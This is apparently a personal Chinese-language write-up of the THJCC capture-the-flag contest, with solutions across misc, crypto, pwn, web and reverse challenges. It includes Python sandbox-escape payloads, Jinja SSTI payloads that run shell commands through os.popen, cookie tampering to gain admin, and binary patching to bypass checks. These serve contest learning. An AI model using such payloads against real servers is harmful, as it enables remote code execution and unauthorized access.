THJCC-Writeup

Zerocatw
  2024-07-19 22:10:10 2024-07-19 22:10:10 Created     
1
2
成績 : 13名
20/34 (22/34(2題賽後))

Welcome

Welcome 0x1

1
FLAG:THJCC{5cINt_sC4icT_5C1sT}

第一段flag在題目
![image](https://hackmd.io/_uploads/S1PeSxaWA.png =300x400)

在規則那一頁即可找到第二段flag
![image](https://hackmd.io/_uploads/HJVC4eTWR.png =400x300)

Discord 0x1

1
FLAG:THJCC{r3meMB3R!J01Ndi5c0rD_5eRv3r}

找discord機器人
第一、三段在這(上方圖片和身分組)

![image](https://hackmd.io/_uploads/r1dsWW2bC.png =300x400)

使用bot的指令得到第二段flag
image

Misc

原神帳號外流

1
FLAG:THJCC{W3r3_sHarKKKKKK_MasT3R_C8763}

用wireshark翻題目給的pcap
Follow->HTTP Stream
Find關鍵字”password=”
把每個都試試看
最後得到帳密
name=Frieren&password=B3stan1me
登入得到Flag
![image](https://hackmd.io/_uploads/rkL8Be6bR.png =600x200)

出題者大合照

1
FLAG:THJCC{S1TC0N_2o2A_a1l_hAnDs0m3_9uY5}

圖片載下來後丟網站解得到圖片裡面藏了flag.txt
打開得到flag

Pyjail-0

1
FLAG:THJCC{Use_M2g1c_f2un3ti0n_in_P9Ja1l!!}

輸入payload : 

1
__import__('os').system('cat ./flag.txt')

得到flag
image

Geoguesser???

1
FLAG:THJCC{35.0039_134.5426}

圖片有個電話號碼
image
搜尋後得知是補習班(題目所求)的電話號碼
image
用googlemap得到經緯度
image

I want to go to Japan!

1
FLAG:THJCC{41.782_140.791}

用立牌名子(Yunokawa Seira)加上shrine為關鍵字搜尋
得到為湯倉神社
image

用googlemap得到經緯度
image

Pyjail-1

1
FLAG:THJCC{Inp3t_b9p2sss_lim1t_1n+p3j2i1!}

先輸入payload :
eval(input())
bypass掉長度限制
再輸入
__import__('os').system('cat ./flag.txt')
得到flag
image

Evil Form(賽後解)

1
FLAG:THJCC{Hackkkkthe_google_f0rM_Mordekaiser}

表單f12可找到這串開頭的東東

1
var FB_PUBLIC_LOAD_DATA_

往後找可找到第一段
Here is your flag 1/3 : THJCC{
再往後可發現第二段被加密了
嘗試解密(通靈)看看

1
2
I do some encrypt of this message 
w6C6 :D J@FC 7\u003d28\u003c/span\u003e 2/3:  \u003cspan\u003ew24\u0026lt;\u0026lt;\u0026lt;\u0026lt;E96

先unicode decode得到(把無關的刪掉)

1
w6C6 :D J@FC 7=28 2/3:  w24<<<<E96

丟這個網站，讓他猜測說這是用甚麼加密的
https://www.dcode.fr/cipher-identifier
發現是ROT47
image
得到第二段FLAG
Hackkkkthe
image
再往後找可看到第三段FLAG
SGVyZSBpcyB5b3VyIGZsYWcgMy8zIDogX2dvb2dsZV9mMHJNX01vcmRla2Fpc2VyfQ\u003d\u003d
\u003d為”=”
SGVyZSBpcyB5b3VyIGZsYWcgMy8zIDogX2dvb2dsZV9mMHJNX01vcmRla2Fpc2VyfQ==
base64decode
得到第三段flag
Here is your flag 3/3 : _google_f0rM_Mordekaiser}

Crypto

博元婦產科

1
FLAG:THJCC{wWw.b4BymAk3r.c0M.tW}

題目裡面有TUFDVlZ7cFBwLnU0VXJmVGQzay52MEYubVB9Cg==
base64decode
MACVV{pPp.u4UrfTd3k.v0F.mP}
凱薩位移(7)
THJCC{wWw.b4BymAk3r.c0M.tW}

Baby RSA

1
FLAG:THJCC{small_eeeee_can_be_pwned_easily}

把out.txt丟RSA解碼網站解
image

SSS.GRIDMAN

1
FLAG:THJCC{SSS_1s_a_c001_w2y_t0_pr0t3c7_s3c23t}

讀懂source code發現
題目就是方程式(ax^2+bx+c)
然後求c(secret)是甚麼
nc上去後會給三組不同的(q, p)
代表該方程式x代入q的值會=p
aq^2+bq+c = p
所以利用這三組即可求出c
我的作法是把題目隨機給的那三組
利用工人智慧自行輸入到寫好的python裡解出c後丟回去
得到flag
image

code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from sympy import symbols, Matrix
#ax^2 + bx + c(secret) = d
# 題目給的 (312, 4299094526), (496, 4402057798), (163, 4250051623
x_values = [312, 496, 163]
d_values = [4299094526, 4402057798, 4250051623]

# 定義符號變量
a, b, c = symbols('a b c')

# 構建系数矩阵
coefficient_matrix = Matrix([[x ** 2, x, 1] for x in x_values])

# 構建结果向量
result_vector = Matrix(d_values)

# 使用 sympy 求解方程组
solutions = coefficient_matrix.LUsolve(result_vector)

# 將結果轉換為整數
integer_solutions = solutions.applyfunc(lambda x: x.evalf()).applyfunc(lambda x: int(round(x)))

# 獲取 a、b、c 的值
a_value, b_value, c_value = integer_solutions

print("a 的值為:", a_value)
print("b 的值為:", b_value)
print("c 的值為:", c_value)

JPG^PNG=?

1
FLAG:THJCC{IM3_X52_a4dc133un_sta2t}

從題目的server.py可看出
是利用png 前8bytes然後循環對flag.jpg做xor
得到enc.txt
而png前8bytes都是固定的(每張圖片都一樣)
所以只要反過來
把enc.txt跟png 前8bytes做xor
再把值寫到jpg裡，就可以得到flag
code : 

1
2
3
4
5
6
7
8
9
10
11
12
from itertools import cycle
import io
from PIL import Image
def xor(a, b):
    return [i^j for i, j in zip(a, cycle(b))]

enc = open('enc.txt', 'rb').read()
KEY= open("3.png", "rb").read()#自己找了一張圖片來用
key=[KEY[0], KEY[1], KEY[2], KEY[3], KEY[4], KEY[5], KEY[6], KEY[7]]
note = bytearray(xor(enc,key))
image = Image.open(io.BytesIO(note))
image.save('decrypted_image.png')

decrypted_image.png
![decrypted_image](https://hackmd.io/_uploads/S1Chefh-C.png =300x300)

Pwn

nc

1
FLAG:THJCC{N3veR_g0nn4_l37_You_dOwn!!!}

nc後查影片
輸入Rick Astley得到flag
![image](https://hackmd.io/_uploads/ryWCcb2bA.png =400x100)

NSPC

1
FLAG:THJCC{little_cat_meow_meow_meow}

根據提敘
得知球只會往右吃
如果自己小於右邊的球就吃不了
所以可以記錄說
設變數cur為當下的值

  • cur >= 右邊的球
    • cur+=右邊的球，繼續往右跑
  • cur < 右邊的球
    • cur = 右邊的球，繼續往右跑

code (可精簡，但好懶): 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from Crypto.Util.number import *

r = remote("23.146.248.36", 30003)

print(r.recvuntil("=============== ROUND 1 ===============\n".encode()))

for k in range(0, 10):
    l = r.recvline()[1:-2].decode()
    print(l)
    a = [int(x) for x in l.split(", ")]
    print(a)
    print(len(a))
    cur = a[0]
    for i in range(1, len(a)):
        if cur < a[i]:
            cur = a[i]
        elif cur >= a[i]:
            cur+=a[i]
    print(cur)
    cur_str = str(cur)
    r.sendline(cur_str)
    b = r.recvuntil('AC\n'.encode())  
    print(b)

print(r.recvuntil("=============== ROUND 2 ===============\n".encode()))
for k in range(0, 10):
    l = r.recvline()[1:-2].decode()
    print(l)
    a = [int(x) for x in l.split(", ")]
    print(a)
    print(len(a))
    cur = a[0]
    for i in range(1, len(a)):
        if cur < a[i]:
            cur = a[i]
        elif cur >= a[i]:
            cur+=a[i]
    print(cur)
    cur_str = str(cur)
    r.sendline(cur_str)
    b = r.recvuntil('AC\n'.encode())  
    print(b)


print(r.recvuntil("=============== ROUND 3 ===============\n".encode()))
for k in range(0, 10):
    l = r.recvline()[1:-2].decode()
    print(l)
    a = [int(x) for x in l.split(", ")]
    print(a)
    print(len(a))
    cur = a[0]
    for i in range(1, len(a)):
        print(i)#因為讀入的數字太多了，怕以為是卡在那，故輸出i讓我知道程式還活著
        if cur < a[i]:
            cur = a[i]
        elif cur >= a[i]:
            cur+=a[i]
    print(cur)
    cur_str = str(cur)
    r.sendline(cur_str)
    b = r.recvuntil('AC\n'.encode())  
    print(b)
print(r.recvline)
r.interactive()

![image](https://hackmd.io/_uploads/Hy9h5Zh-R.png =300x100)

Web

Empty

1
FLAG:THJCC{cookie_&_view_source_!}

開f12觀察發現最上方有提示路徑
直接把網址後面加那串路徑
得到第二段flag
![image](https://hackmd.io/_uploads/SkYTPxabC.png =400x100)
view_source_!}
開f12找到cookie那邊，可發現第一段flag
![image](https://hackmd.io/_uploads/rJV5ugTbR.png =500x200)

THJCC{cookie_&_

Blog

1
FLAG:THJCC{w31c0me_h@cker}

從這裡得到密碼
![image](https://hackmd.io/_uploads/rykjZM3bR.png =400x300)

點login進到登入頁面
username : admin
password : iloveshark
得到flag
![image](https://hackmd.io/_uploads/SJNhqx6ZR.png =400x200)

Simplify

1
FLAG:THJCC{w3ak_auth_+_S$TI}

一開始先在cookie頁面把自己變成admin
之後頁面上會出現
cat say meow
image

開f12發現提示為SSTI漏洞
注入Payload:
{{ cycler.__init__.__globals__.os.popen('ls').read() }}
得知有flag
再注入payload得到flag
{{ cycler.__init__.__globals__.os.popen('cat flag').read() }}
image

Reverse

BabyC

1
FLAG:THJCC{https://www.youtube.com/watch?v=3XCVM3G3pns}

觀察source code得知
我們輸入值(在此設c)
c xor 120 != a[i]
那就會錯誤
所以我們要想出對的c，讓c xor 120 = a[i]
根據以上逆推
c = a[i] xor 120
最後輸出c得到flag
code:

1
2
3
a=[44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5]
for i in range(0, 50):
    print((chr(a[i]^120)), end="")

PYC REVERSE

1
FLAG:THJCC{pyc_rev3r3e_C3n_u32_on1i5e_t0Ol}

用pycdc反編譯main.pyc
得到source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# Source Generated with Decompyle++
# File: main.pyc (Python 3.10)

from FLAG import FLAG
from Crypto.Util.number import bytes_to_long

def xor1(flag):
    return flag ^ 124789

def xor2(flag):
    return flag ^ 487531

def xor3(flag):
    return flag ^ 784523

def xor4(flag):
    return flag ^ 642871

def xor5(flag):
    return flag ^ 474745

flag = bytes_to_long(FLAG)
count = 0
count += 1
if count == 1:
    flag = xor1(flag)
    count += 2
    if count == 3:
        flag = xor2(flag)
        count += 1
    if count == 4:
        flag = xor3(flag)
        count -= 2
    else:
        flag = xor2(flag)
        count += 1
else:
    flag = xor3(flag)
    count += 5
if count == 2:
    flag = xor4(flag)
elif count == 6:
    flag = xor5(flag)
print(flag)

閱讀程式碼後撰寫程式解碼得到flag
code:

1
2
3
4
5
6
7
8
from Crypto.Util.number import *
flag = 10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695

flag^=124789
flag^=487531
flag^=784523
flag^=642871
print(long_to_bytes(flag))

baseball

1
FLAG:THJCC{u_8e@t_m3...}

用IDA反編譯後
![image](https://hackmd.io/_uploads/HkYfSzhZA.png =500x500)
得知s1要 = Flydragon OuO
且輸入的值要是-559038737
才會進入miss()取得flag

上方有兩個會改變s1的值的程式碼

1
2
strcpy(s1, "Flydragon OwO");
strcpy(s1, "Ohtani Shohei");

我們可以
把第一個w變成u
把第二個變成nop

利用IDA的Change byte
![image](https://hackmd.io/_uploads/BykxLM2bC.png =400x100)

把77改成75
改前 :
image

改後 :
image

把這裡都nop掉
改前 :
image
改後 :
![image](https://hackmd.io/_uploads/r1lHDG3-0.png =400x300)

存檔之後執行
一開始隨機輸入
之後輸入-559038737得到flag
image

Not Apple

1
FLAG:THJCC{l4zy_Aladd1n_==}

下載後用apktool拆包
查詢關鍵字THJCC{
找到這裡
image
之後再找關鍵字real_flag
找到real_flag
image
最後組合
THJCC{l4zy_Aladd1n_==}

1
2
因為@string/real_flag的意思是指向"Aladd1n_"
所以在flag中要把"@string/real_flag"整個替換成Aladd1n_
  • Title: THJCC-Writeup
  • Author: Zerocatw
  • Created at : 2024-07-19 22:10:10
  • Link: https://zerocatw.github.io/2024/07/19/THJCC-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
THJCC-Writeup
  1. Welcome
    1. Welcome 0x1
    2. Discord 0x1
  2. Misc
    1. 原神帳號外流
    2. 出題者大合照
    3. Pyjail-0
    4. Geoguesser???
    5. I want to go to Japan!
    6. Pyjail-1
    7. Evil Form(賽後解)
  3. Crypto
    1. 博元婦產科
    2. Baby RSA
    3. SSS.GRIDMAN
    4. JPG^PNG=?
  4. Pwn
    1. nc
    2. NSPC
  5. Web
    1. Empty
    2. Blog
    3. Simplify
  6. Reverse
    1. BabyC
    2. PYC REVERSE
    3. baseball
    4. Not Apple